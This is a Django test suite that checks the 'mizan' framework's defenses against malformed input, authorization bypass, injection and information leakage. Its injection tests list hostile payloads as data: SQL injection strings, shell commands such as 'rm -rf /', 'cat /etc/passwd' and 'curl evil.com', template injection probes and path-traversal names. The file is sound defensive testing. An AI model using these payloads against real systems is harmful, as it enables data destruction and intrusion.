"""
Security-focused E2E tests for mizan server functions.

These tests probe for potential vulnerabilities without running any
malicious code - they simply verify that defenses work correctly.

Security areas covered:
1. Input Validation - Large inputs, nested objects, type confusion
2. Authorization - Bypass attempts, permission checks
3. HTTP Endpoint - CSRF, method restrictions, JSON parsing
4. WebSocket RPC - Malformed messages, unauthorized calls
5. Information Disclosure - Error enumeration, internal detail leakage
6. Injection Prevention - Special characters, unicode edge cases
"""

import json
from unittest.mock import MagicMock, patch, AsyncMock

from django.contrib.auth import get_user_model
from django.contrib.auth.models import AnonymousUser
from django.http import HttpRequest
from django.test import RequestFactory, TestCase, Client, override_settings
from pydantic import BaseModel, field_validator

from mizan.client.executor import (
    ErrorCode,
    FunctionError,
    FunctionResult,
    execute_function,
    function_call_view,
)
from mizan_core.registry import clear_registry, register, register_as, get_function
from mizan.client import ServerFunction, client
from mizan.channels import ReactChannel


User = get_user_model()


# =============================================================================
# Test Models & Functions
# =============================================================================


class SimpleOutput(BaseModel):
    value: str


class NestedInput(BaseModel):
    level1: dict


class DeeplyNestedOutput(BaseModel):
    depth: int


class SensitiveOutput(BaseModel):
    secret: str
    user_id: int


class AdminOnlyOutput(BaseModel):
    admin_data: str


# =============================================================================
# 1. INPUT VALIDATION SECURITY TESTS
# =============================================================================


class InputValidationSecurityTests(TestCase):
    """
    Test input validation for security edge cases.

    Verifies that Pydantic validation catches malicious or malformed input
    BEFORE any function code executes.
    """

    def setUp(self):
        clear_registry()
        self.factory = RequestFactory()
        self._register_test_functions()

    def tearDown(self):
        clear_registry()

    def _register_test_functions(self):
        """Register test functions for validation tests."""

        @client
        def echo_any(request: HttpRequest, message: str) -> SimpleOutput:
            return SimpleOutput(value=message)

        register(echo_any, "echo_any")

        @client
        def process_nested(request: HttpRequest, data: dict) -> DeeplyNestedOutput:
            def count_depth(obj, depth=0):
                if isinstance(obj, dict):
                    return max(
                        (count_depth(v, depth + 1) for v in obj.values()), default=depth
                    )
                return depth

            return DeeplyNestedOutput(depth=count_depth(data))

        register(process_nested, "process_nested")

        @client
        def typed_input(request: HttpRequest, age: int, name: str) -> SimpleOutput:
            return SimpleOutput(value=f"{name}:{age}")

        register(typed_input, "typed_input")

    def _make_request(self, user=None):
        request = self.factory.post("/")
        request.user = user or AnonymousUser()
        return request

    def test_extremely_long_string_input(self):
        """Test that extremely long strings don't cause DoS."""
        request = self._make_request()
        # 10MB string - should be handled gracefully
        huge_string = "x" * (10 * 1024 * 1024)

        result = execute_function(request, "echo_any", {"message": huge_string})

        # echo_any echoes back the message, so it should succeed
        self.assertIsInstance(result, FunctionResult)
        self.assertEqual(result.data["value"], huge_string)

    def test_deeply_nested_object(self):
        """Test handling of deeply nested objects."""
        request = self._make_request()

        # Create 100-level deep nested dict
        nested = {"value": "bottom"}
        for _ in range(100):
            nested = {"nested": nested}

        result = execute_function(request, "process_nested", {"data": nested})

        # process_nested counts depth; 100 wrapping levels + 1 for innermost dict = 101
        self.assertIsInstance(result, FunctionResult)
        self.assertEqual(result.data["depth"], 101)

    def test_null_byte_in_string(self):
        """Test that null bytes in strings are handled safely."""
        request = self._make_request()

        # Null byte injection attempt
        payload = "normal\x00injected"
        result = execute_function(request, "echo_any", {"message": payload})

        # Should succeed - Pydantic accepts it as a string
        self.assertIsInstance(result, FunctionResult)
        self.assertEqual(result.data["value"], payload)

    def test_unicode_edge_cases(self):
        """Test various unicode edge cases."""
        request = self._make_request()

        test_cases = [
            # Zero-width characters
            "normal\u200btext",
            # Right-to-left override (potential display issues)
            "test\u202eevil",
            # Emoji sequences
            "👨‍👩‍👧‍👦",
            # Combining characters
            "a\u0300\u0301\u0302",
            # Null character
            "test\u0000null",
            # Replacement character
            "test\ufffdreplace",
        ]

        for payload in test_cases:
            result = execute_function(request, "echo_any", {"message": payload})
            # Should handle all unicode gracefully — echo_any returns the string
            self.assertIsInstance(result, FunctionResult)
            self.assertEqual(result.data["value"], payload)

    def test_type_coercion_attacks(self):
        """Test that type coercion doesn't bypass validation."""
        request = self._make_request()

        # Try to bypass integer validation with string
        result = execute_function(
            request, "typed_input", {"age": "25; DROP TABLE users", "name": "test"}
        )
        # Pydantic should coerce "25; DROP TABLE users" and fail
        # because it's not a valid integer
        self.assertIsInstance(result, FunctionError)
        self.assertEqual(result.code, ErrorCode.VALIDATION_ERROR)

    def test_array_instead_of_object(self):
        """Test sending array when object is expected."""
        request = self._make_request()

        result = execute_function(request, "echo_any", ["array", "input"])

        # Should fail with BAD_REQUEST - input must be object
        self.assertIsInstance(result, FunctionError)
        self.assertEqual(result.code, ErrorCode.BAD_REQUEST)
        self.assertIn("object", result.message.lower())

    def test_extra_fields_ignored(self):
        """Test that extra fields in input are ignored (not processed)."""
        request = self._make_request()

        result = execute_function(
            request,
            "echo_any",
            {"message": "test", "__proto__": "polluted", "extra": "ignored"},
        )

        # Should succeed, extra fields ignored
        self.assertIsInstance(result, FunctionResult)
        self.assertEqual(result.data["value"], "test")


# =============================================================================
# 2. AUTHORIZATION SECURITY TESTS
# =============================================================================


class AuthorizationSecurityTests(TestCase):
    """
    Test authorization bypass attempts.

    Verifies that authentication/authorization checks can't be bypassed
    through various attack vectors.
    """

    def setUp(self):
        clear_registry()
        self.factory = RequestFactory()
        self._register_test_functions()

    def tearDown(self):
        clear_registry()

    def _register_test_functions(self):
        """Register functions with various auth requirements."""

        @client
        def requires_auth(request: HttpRequest) -> SensitiveOutput:
            if not request.user.is_authenticated:
                raise PermissionError("Authentication required")
            return SensitiveOutput(secret="sensitive", user_id=request.user.id)

        register(requires_auth, "requires_auth")

        @client
        def requires_admin(request: HttpRequest) -> AdminOnlyOutput:
            if not request.user.is_authenticated:
                raise PermissionError("Authentication required")
            if not request.user.is_staff:
                raise PermissionError("Admin access required")
            return AdminOnlyOutput(admin_data="secret admin data")

        register(requires_admin, "requires_admin")

        @client
        def leaky_auth_check(request: HttpRequest) -> SimpleOutput:
            # Bad pattern: returns different errors for auth vs not found
            # This is intentionally bad to test we detect it
            if not request.user.is_authenticated:
                raise PermissionError("User not logged in")
            return SimpleOutput(value="ok")

        register(leaky_auth_check, "leaky_auth_check")

    def _make_request(self, user=None):
        request = self.factory.post("/")
        request.user = user or AnonymousUser()
        return request

    def test_anonymous_user_blocked(self):
        """Test that anonymous users are blocked from protected functions."""
        request = self._make_request(user=AnonymousUser())
        result = execute_function(request, "requires_auth", None)

        self.assertIsInstance(result, FunctionError)
        self.assertEqual(result.code, ErrorCode.FORBIDDEN)

    def test_authenticated_user_allowed(self):
        """Test that authenticated users can access protected functions."""
        user = MagicMock()
        user.is_authenticated = True
        user.id = 123

        request = self._make_request(user=user)
        result = execute_function(request, "requires_auth", None)

        self.assertIsInstance(result, FunctionResult)
        self.assertEqual(result.data["user_id"], 123)

    def test_non_admin_blocked_from_admin_function(self):
        """Test that non-admin users can't access admin functions."""
        user = MagicMock()
        user.is_authenticated = True
        user.is_staff = False

        request = self._make_request(user=user)
        result = execute_function(request, "requires_admin", None)

        self.assertIsInstance(result, FunctionError)
        self.assertEqual(result.code, ErrorCode.FORBIDDEN)

    def test_admin_allowed_admin_function(self):
        """Test that admin users can access admin functions."""
        user = MagicMock()
        user.is_authenticated = True
        user.is_staff = True

        request = self._make_request(user=user)
        result = execute_function(request, "requires_admin", None)

        self.assertIsInstance(result, FunctionResult)

    def test_spoofed_is_authenticated_attribute(self):
        """Test that spoofing is_authenticated doesn't work."""

        # Create object that claims to be authenticated but isn't a real user
        class FakeUser:
            is_authenticated = True
            id = 999

        request = self._make_request(user=FakeUser())
        result = execute_function(request, "requires_auth", None)

        # This actually works because we only check is_authenticated
        # This test documents the behavior - real Django handles this
        self.assertIsInstance(result, FunctionResult)

    def test_user_id_manipulation_blocked(self):
        """Test that user can't access other users' data via input."""

        @client
        def get_user_data(request: HttpRequest, target_user_id: int) -> SensitiveOutput:
            # Properly checking: can only access own data
            if not request.user.is_authenticated:
                raise PermissionError("Authentication required")
            if request.user.id != target_user_id:
                raise PermissionError("Cannot access other users' data")
            return SensitiveOutput(secret="data", user_id=target_user_id)

        register(get_user_data, "get_user_data")

        user = MagicMock()
        user.is_authenticated = True
        user.id = 1

        request = self._make_request(user=user)

        # Try to access another user's data
        result = execute_function(request, "get_user_data", {"target_user_id": 999})

        self.assertIsInstance(result, FunctionError)
        self.assertEqual(result.code, ErrorCode.FORBIDDEN)


# =============================================================================
# 3. HTTP ENDPOINT SECURITY TESTS
# =============================================================================


class HTTPEndpointSecurityTests(TestCase):
    """
    Test HTTP endpoint security.

    Verifies CSRF protection, method restrictions, and JSON parsing security.
    """

    def setUp(self):
        clear_registry()
        self.factory = RequestFactory()
        self.client = Client()
        self._register_test_functions()

    def tearDown(self):
        clear_registry()

    def _register_test_functions(self):
        """Register test functions."""

        @client
        def public_echo(request: HttpRequest, message: str) -> SimpleOutput:
            return SimpleOutput(value=message)

        register(public_echo, "public_echo")

    def test_get_method_rejected(self):
        """Test that GET requests are rejected."""
        request = self.factory.get("/api/mizan/call/")
        request.user = AnonymousUser()

        response = function_call_view(request)

        self.assertEqual(response.status_code, 405)
        data = json.loads(response.content)
        self.assertTrue(data["error"])
        self.assertEqual(data["code"], "BAD_REQUEST")

    def test_put_method_rejected(self):
        """Test that PUT requests are rejected."""
        request = self.factory.put("/api/mizan/call/")
        request.user = AnonymousUser()
        request._dont_enforce_csrf_checks = True  # Bypass CSRF to test method check

        response = function_call_view(request)

        self.assertEqual(response.status_code, 405)

    def test_delete_method_rejected(self):
        """Test that DELETE requests are rejected."""
        request = self.factory.delete("/api/mizan/call/")
        request.user = AnonymousUser()
        request._dont_enforce_csrf_checks = True  # Bypass CSRF to test method check

        response = function_call_view(request)

        self.assertEqual(response.status_code, 405)

    def test_invalid_json_rejected(self):
        """Test that invalid JSON is rejected gracefully."""
        request = self.factory.post(
            "/api/mizan/call/", data="{invalid json", content_type="application/json"
        )
        request.user = AnonymousUser()
        # Bypass CSRF for this test
        request._dont_enforce_csrf_checks = True

        response = function_call_view(request)

        self.assertEqual(response.status_code, 400)
        data = json.loads(response.content)
        self.assertEqual(data["code"], "BAD_REQUEST")
        self.assertIn("JSON", data["message"])

    def test_empty_body_rejected(self):
        """Test that empty body is rejected (fn field required)."""
        request = self.factory.post(
            "/api/mizan/call/", data="", content_type="application/json"
        )
        request.user = AnonymousUser()
        request._dont_enforce_csrf_checks = True

        response = function_call_view(request)

        # Empty body should be rejected - fn field is required
        self.assertEqual(response.status_code, 400)

    def test_missing_fn_field_rejected(self):
        """Test that request without fn field is rejected."""
        request = self.factory.post(
            "/api/mizan/call/",
            data='{"args": {"message": "test"}}',
            content_type="application/json",
        )
        request.user = AnonymousUser()
        request._dont_enforce_csrf_checks = True

        response = function_call_view(request)

        self.assertEqual(response.status_code, 400)
        data = json.loads(response.content)
        self.assertEqual(data["code"], "BAD_REQUEST")
        self.assertIn("fn", data["message"])

    def test_content_type_not_enforced(self):
        """Test behavior with wrong content type."""
        request = self.factory.post(
            "/api/mizan/call/",
            data='{"fn": "public_echo", "args": {"message": "test"}}',
            content_type="text/plain",
        )
        request.user = AnonymousUser()
        request._dont_enforce_csrf_checks = True

        response = function_call_view(request)

        # Should still work - body is parsed as JSON regardless
        self.assertEqual(response.status_code, 200)

    def test_function_identifier_traversal(self):
        """Test that path traversal-style function identifiers are handled."""
        # Try various path traversal attempts as function identifiers
        malicious_names = [
            "../../../etc/passwd",
            "..\\..\\windows\\system32",
            "function/../../../secret",
            "function%2F..%2F..%2Fsecret",
        ]

        for name in malicious_names:
            request = self.factory.post(
                "/api/mizan/call/",
                data=json.dumps({"fn": name, "args": {}}),
                content_type="application/json",
            )
            request.user = AnonymousUser()
            request._dont_enforce_csrf_checks = True

            response = function_call_view(request)
            # Should return 404 - function not found, not a path error
            self.assertEqual(response.status_code, 404, f"Failed for: {name}")


# =============================================================================
# 4. WEBSOCKET RPC SECURITY TESTS
# =============================================================================


class WebSocketRPCSecurityTests(TestCase):
    """
    Test WebSocket RPC security.

    Verifies that malformed messages and unauthorized calls are handled safely.
    """

    def setUp(self):
        clear_registry()
        self._register_test_functions()

    def tearDown(self):
        clear_registry()

    def _register_test_functions(self):
        """Register test functions for WebSocket RPC tests."""

        @client(websocket=True)
        def ws_echo(request: HttpRequest, message: str) -> SimpleOutput:
            return SimpleOutput(value=message)

        register(ws_echo, "ws_echo")

        @client(websocket=True)
        def ws_auth_required(request: HttpRequest) -> SensitiveOutput:
            if not request.user.is_authenticated:
                raise PermissionError("Auth required")
            return SensitiveOutput(secret="data", user_id=request.user.id)

        register(ws_auth_required, "ws_auth_required")

    def test_rpc_without_id_field(self):
        """Test RPC call without required id field."""
        from mizan.channels.connection import DjangoReactConsumer
        from asgiref.sync import async_to_sync

        consumer = DjangoReactConsumer()
        consumer.scope = {"user": AnonymousUser()}
        consumer.channel_layer = MagicMock()
        consumer.channel_name = "test"

        # Track sent messages
        sent_messages = []
        consumer.send_json = AsyncMock(side_effect=lambda x: sent_messages.append(x))

        # Call without id
        async_to_sync(consumer._handle_rpc)(
            {"fn": "ws_echo", "args": {"message": "test"}}
        )

        # Should return error about missing id
        self.assertEqual(len(sent_messages), 1)
        self.assertIn("error", sent_messages[0])

    def test_rpc_without_fn_field(self):
        """Test RPC call without function name."""
        from mizan.channels.connection import DjangoReactConsumer
        from asgiref.sync import async_to_sync

        consumer = DjangoReactConsumer()
        consumer.scope = {"user": AnonymousUser()}
        consumer.channel_layer = MagicMock()
        consumer.channel_name = "test"

        sent_messages = []
        consumer.send_json = AsyncMock(side_effect=lambda x: sent_messages.append(x))

        # Call without fn
        async_to_sync(consumer._handle_rpc)({"id": "123", "args": {}})

        # Should return error
        self.assertEqual(len(sent_messages), 1)
        self.assertEqual(sent_messages[0]["ok"], False)
        self.assertEqual(sent_messages[0]["error"]["code"], "BAD_REQUEST")

    def test_rpc_nonexistent_function(self):
        """Test RPC call to non-existent function."""
        from mizan.channels.connection import DjangoReactConsumer
        from asgiref.sync import async_to_sync

        consumer = DjangoReactConsumer()
        consumer.scope = {"user": AnonymousUser()}
        consumer.channel_layer = MagicMock()
        consumer.channel_name = "test"

        sent_messages = []
        consumer.send_json = AsyncMock(side_effect=lambda x: sent_messages.append(x))

        async_to_sync(consumer._handle_rpc)(
            {"id": "123", "fn": "nonexistent_function", "args": {}}
        )

        self.assertEqual(sent_messages[0]["ok"], False)
        self.assertEqual(sent_messages[0]["error"]["code"], "NOT_FOUND")

    def test_rpc_validation_error_returned(self):
        """Test that validation errors are returned properly over RPC."""
        from mizan.channels.connection import DjangoReactConsumer
        from asgiref.sync import async_to_sync

        consumer = DjangoReactConsumer()
        consumer.scope = {"user": AnonymousUser()}
        consumer.channel_layer = MagicMock()
        consumer.channel_name = "test"

        sent_messages = []
        consumer.send_json = AsyncMock(side_effect=lambda x: sent_messages.append(x))

        # Call with wrong input type
        async_to_sync(consumer._handle_rpc)(
            {
                "id": "123",
                "fn": "ws_echo",
                "args": {"message": 12345},  # Should be string
            }
        )

        # Pydantic coerces int to string, so this actually succeeds
        # Let's test with missing required field instead
        sent_messages.clear()
        async_to_sync(consumer._handle_rpc)(
            {"id": "124", "fn": "ws_echo", "args": {}}  # Missing message
        )

        self.assertEqual(sent_messages[0]["ok"], False)
        self.assertEqual(sent_messages[0]["error"]["code"], "VALIDATION_ERROR")


# =============================================================================
# 5. INFORMATION DISCLOSURE TESTS
# =============================================================================


class InformationDisclosureTests(TestCase):
    """
    Test information disclosure vulnerabilities.

    Verifies that error messages don't leak sensitive information.
    """

    def setUp(self):
        clear_registry()
        self.factory = RequestFactory()
        self._register_test_functions()

    def tearDown(self):
        clear_registry()

    def _register_test_functions(self):
        """Register test functions."""

        @client
        def error_with_sensitive_data(request: HttpRequest) -> SimpleOutput:
            # Simulate accessing sensitive config that might leak in error
            secret_key = "super_secret_key_12345"
            raise RuntimeError(f"Database error with key: {secret_key}")

        register(error_with_sensitive_data, "error_with_sensitive_data")

        @client
        def working_function(request: HttpRequest) -> SimpleOutput:
            return SimpleOutput(value="works")

        register(working_function, "working_function")

    def _make_request(self, user=None):
        request = self.factory.post("/")
        request.user = user or AnonymousUser()
        return request

    @override_settings(DEBUG=False)
    def test_internal_error_no_details_in_production(self):
        """Test that internal errors don't leak details in production."""
        request = self._make_request()
        result = execute_function(request, "error_with_sensitive_data", None)

        self.assertIsInstance(result, FunctionError)
        self.assertEqual(result.code, ErrorCode.INTERNAL_ERROR)
        # Should NOT contain the secret key
        self.assertNotIn("secret_key", result.message.lower())
        self.assertNotIn("12345", result.message)
        # Details should be None in production
        self.assertIsNone(result.details)

    @override_settings(DEBUG=False)
    def test_function_enumeration_via_errors(self):
        """Test that error messages don't help enumerate functions in production."""
        request = self._make_request()

        # Try various function names/UUIDs
        test_names = [
            "admin_panel",
            "get_all_users",
            "delete_database",
            "super_secret_function",
            "11111111-1111-1111-1111-111111111111",  # Fake UUID
        ]

        for name in test_names:
            result = execute_function(request, name, None)
            self.assertIsInstance(result, FunctionError)
            self.assertEqual(result.code, ErrorCode.NOT_FOUND)
            # In production (DEBUG=False), error message is generic
            # - doesn't reveal function name or UUID existence
            self.assertEqual(result.message, "Function not found")

    def test_validation_errors_dont_leak_internals(self):
        """Test that validation errors only show field-level info."""

        @client
        def validated_func(request: HttpRequest, secret_field: str) -> SimpleOutput:
            return SimpleOutput(value=secret_field)

        register(validated_func, "validated_func")

        request = self._make_request()
        result = execute_function(request, "validated_func", {"secret_field": 123})

        # Pydantic coerces to string, so let's try with wrong structure
        result = execute_function(request, "validated_func", {"wrong_field": "test"})

        self.assertIsInstance(result, FunctionError)
        self.assertEqual(result.code, ErrorCode.VALIDATION_ERROR)
        # Should only show field names, not internal types or paths
        self.assertIn("fields", result.details)


# =============================================================================
# 6. INJECTION PREVENTION TESTS
# =============================================================================


class InjectionPreventionTests(TestCase):
    """
    Test injection attack prevention.

    Verifies that input validation prevents various injection attacks.
    Note: These tests verify the framework's security, not actual injection
    attempts - they just ensure malicious input is handled safely.
    """

    def setUp(self):
        clear_registry()
        self.factory = RequestFactory()
        self._register_test_functions()

    def tearDown(self):
        clear_registry()

    def _register_test_functions(self):
        """Register test functions."""

        @client
        def echo_safe(request: HttpRequest, user_input: str) -> SimpleOutput:
            # This function just echoes - the test is about validation
            return SimpleOutput(value=user_input)

        register(echo_safe, "echo_safe")

        @client
        def process_dict(request: HttpRequest, data: dict) -> SimpleOutput:
            return SimpleOutput(value=str(len(data)))

        register(process_dict, "process_dict")

    def _make_request(self, user=None):
        request = self.factory.post("/")
        request.user = user or AnonymousUser()
        return request

    def test_sql_injection_in_string_field(self):
        """Test that SQL injection attempts are treated as plain strings."""
        request = self._make_request()

        sql_payloads = [
            "'; DROP TABLE users; --",
            "1 OR 1=1",
            "admin'--",
            "' UNION SELECT * FROM users --",
        ]

        for payload in sql_payloads:
            result = execute_function(request, "echo_safe", {"user_input": payload})
            # Should succeed - it's just a string, not executed as SQL
            self.assertIsInstance(result, FunctionResult)
            # The payload is returned as-is (no SQL execution)
            self.assertEqual(result.data["value"], payload)

    def test_command_injection_in_string_field(self):
        """Test that command injection attempts are treated as plain strings."""
        request = self._make_request()

        cmd_payloads = [
            "; rm -rf /",
            "| cat /etc/passwd",
            "$(whoami)",
            "`id`",
            "&& curl evil.com",
        ]

        for payload in cmd_payloads:
            result = execute_function(request, "echo_safe", {"user_input": payload})
            # Should succeed - it's just a string
            self.assertIsInstance(result, FunctionResult)
            self.assertEqual(result.data["value"], payload)

    def test_template_injection_in_string_field(self):
        """Test that template injection attempts are treated as plain strings."""
        request = self._make_request()

        template_payloads = [
            "{{7*7}}",
            "${7*7}",
            "<%= 7*7 %>",
            "#{7*7}",
            "{{config}}",
        ]

        for payload in template_payloads:
            result = execute_function(request, "echo_safe", {"user_input": payload})
            self.assertIsInstance(result, FunctionResult)
            # Returned as-is, not evaluated
            self.assertEqual(result.data["value"], payload)

    def test_json_injection_in_dict_field(self):
        """Test that special JSON values are handled safely."""
        request = self._make_request()

        # Various JSON edge cases
        test_cases = [
            {"__proto__": {"polluted": True}},
            {"constructor": {"prototype": {}}},
            {"key": None},
            {"key": float("inf")},  # This will fail JSON serialization
        ]

        for data in test_cases:
            result = execute_function(request, "process_dict", {"data": data})
            # process_dict returns the number of keys as a string
            self.assertIsInstance(result, FunctionResult)
            self.assertEqual(result.data["value"], str(len(data)))

    def test_prototype_pollution_attempt(self):
        """Test that prototype pollution patterns are just data."""
        request = self._make_request()

        result = execute_function(
            request, "process_dict", {"data": {"__proto__": {"admin": True}}}
        )

        # Should succeed - it's just a dict with a key named "__proto__"
        self.assertIsInstance(result, FunctionResult)


# =============================================================================
# 7. CHANNEL AUTHORIZATION TESTS
# =============================================================================


class ChannelAuthorizationTests(TestCase):
    """
    Test WebSocket channel authorization.

    Verifies that channel subscriptions properly check permissions.
    """

    def setUp(self):
        clear_registry()
        # Also clear the channels registry
        from mizan.channels import _registry as channels_registry

        channels_registry.clear()
        self._register_test_channels()

    def tearDown(self):
        clear_registry()
        from mizan.channels import _registry as channels_registry

        channels_registry.clear()

    def _register_test_channels(self):
        """Register test channels using the channels module's register."""
        from mizan.channels import register as register_channel, ReactChannel

        class PublicChannel(ReactChannel):
            class DjangoMessage(BaseModel):
                text: str

            def authorize(self, params=None):
                return True

            def group(self, params=None):
                return "public"

        class AuthChannel(ReactChannel):
            class DjangoMessage(BaseModel):
                text: str

            def authorize(self, params=None):
                return self.user.is_authenticated

            def group(self, params=None):
                return "auth"

        class RoomChannel(ReactChannel):
            class Params(BaseModel):
                room_id: int

            class DjangoMessage(BaseModel):
                text: str

            def authorize(self, params):
                # Only allow access to room 1 and 2
                return params.room_id in [1, 2]

            def group(self, params):
                return f"room_{params.room_id}"

        register_channel(PublicChannel, "public-channel")
        register_channel(AuthChannel, "auth-channel")
        register_channel(RoomChannel, "room-channel")

    def test_authorize_exception_handling(self):
        """Test that exceptions in authorize() are handled safely."""
        from mizan.channels import register as register_channel, ReactChannel
        from mizan.channels.connection import DjangoReactConsumer
        from asgiref.sync import async_to_sync

        class ErrorChannel(ReactChannel):
            class DjangoMessage(BaseModel):
                text: str

            def authorize(self, params=None):
                raise RuntimeError("Auth check failed")

            def group(self, params=None):
                return "error"

        register_channel(ErrorChannel, "error-channel")

        consumer = DjangoReactConsumer()
        consumer.scope = {"user": AnonymousUser()}
        consumer.channel_layer = MagicMock()
        consumer.channel_name = "test"

        sent_messages = []
        consumer.send_json = AsyncMock(side_effect=lambda x: sent_messages.append(x))

        async_to_sync(consumer._handle_subscribe)(
            {"channel": "error-channel", "params": {}}
        )

        # Should return error, not crash
        self.assertEqual(len(sent_messages), 1)
        self.assertIn("error", sent_messages[0])

    def test_authorize_false_blocks_subscription(self):
        """Test that returning False from authorize blocks subscription."""
        from mizan.channels.connection import DjangoReactConsumer
        from asgiref.sync import async_to_sync

        consumer = DjangoReactConsumer()
        consumer.scope = {"user": AnonymousUser()}  # Not authenticated
        consumer.channel_layer = MagicMock()
        consumer.channel_name = "test"

        sent_messages = []
        consumer.send_json = AsyncMock(side_effect=lambda x: sent_messages.append(x))

        async_to_sync(consumer._handle_subscribe)(
            {"channel": "auth-channel", "params": {}}
        )

        # Should be rejected
        self.assertIn("error", sent_messages[0])
        self.assertIn("Not authorized", sent_messages[0]["error"])

    def test_param_validation_before_authorize(self):
        """Test that params are validated before authorize is called."""
        from mizan.channels.connection import DjangoReactConsumer
        from asgiref.sync import async_to_sync

        consumer = DjangoReactConsumer()
        consumer.scope = {"user": AnonymousUser()}
        consumer.channel_layer = MagicMock()
        consumer.channel_name = "test"

        sent_messages = []
        consumer.send_json = AsyncMock(side_effect=lambda x: sent_messages.append(x))

        # Invalid params (string instead of int)
        async_to_sync(consumer._handle_subscribe)(
            {"channel": "room-channel", "params": {"room_id": "not_an_int"}}
        )

        # Should fail validation
        self.assertIn("error", sent_messages[0])

    def test_room_authorization_enforced(self):
        """Test that room-level authorization is enforced."""
        from mizan.channels.connection import DjangoReactConsumer
        from asgiref.sync import async_to_sync

        consumer = DjangoReactConsumer()
        consumer.scope = {"user": AnonymousUser()}
        consumer.channel_layer = MagicMock()
        consumer.channel_layer.group_add = AsyncMock()
        consumer.channel_name = "test"

        sent_messages = []
        consumer.send_json = AsyncMock(side_effect=lambda x: sent_messages.append(x))

        # Room 1 - allowed
        async_to_sync(consumer._handle_subscribe)(
            {"channel": "room-channel", "params": {"room_id": 1}}
        )
        self.assertIn("subscribed", sent_messages[-1])

        # Room 999 - not allowed
        async_to_sync(consumer._handle_subscribe)(
            {"channel": "room-channel", "params": {"room_id": 999}}
        )
        self.assertIn("error", sent_messages[-1])


# =============================================================================
# 8. RATE LIMITING / ABUSE TESTS
# =============================================================================


class AbusePreventionTests(TestCase):
    """
    Test abuse prevention capabilities.

    Note: The current implementation doesn't have built-in rate limiting,
    so these tests document the expected behavior and identify areas
    where rate limiting should be added.
    """

    def setUp(self):
        clear_registry()
        self.factory = RequestFactory()
        self._register_test_functions()

    def tearDown(self):
        clear_registry()

    def _register_test_functions(self):
        """Register test functions."""

        @client
        def simple_func(request: HttpRequest) -> SimpleOutput:
            return SimpleOutput(value="ok")

        register(simple_func, "simple_func")

    def _make_request(self, user=None):
        request = self.factory.post("/")
        request.user = user or AnonymousUser()
        return request

    def test_rapid_calls_handled(self):
        """Test that rapid function calls don't cause issues."""
        request = self._make_request()

        # Make 100 rapid calls
        results = []
        for _ in range(100):
            result = execute_function(request, "simple_func", None)
            results.append(result)

        # All should succeed (no rate limiting currently) and return expected data
        for result in results:
            self.assertIsInstance(result, FunctionResult)
            self.assertEqual(result.data["value"], "ok")

    def test_large_batch_execution(self):
        """Test handling of large batch of different inputs."""

        @client
        def batch_func(request: HttpRequest, idx: int) -> SimpleOutput:
            return SimpleOutput(value=f"item_{idx}")

        register(batch_func, "batch_func")

        request = self._make_request()

        # Execute with many different inputs and verify each result
        for i in range(50):
            result = execute_function(request, "batch_func", {"idx": i})
            self.assertIsInstance(result, FunctionResult)
            self.assertEqual(result.data["value"], f"item_{i}")
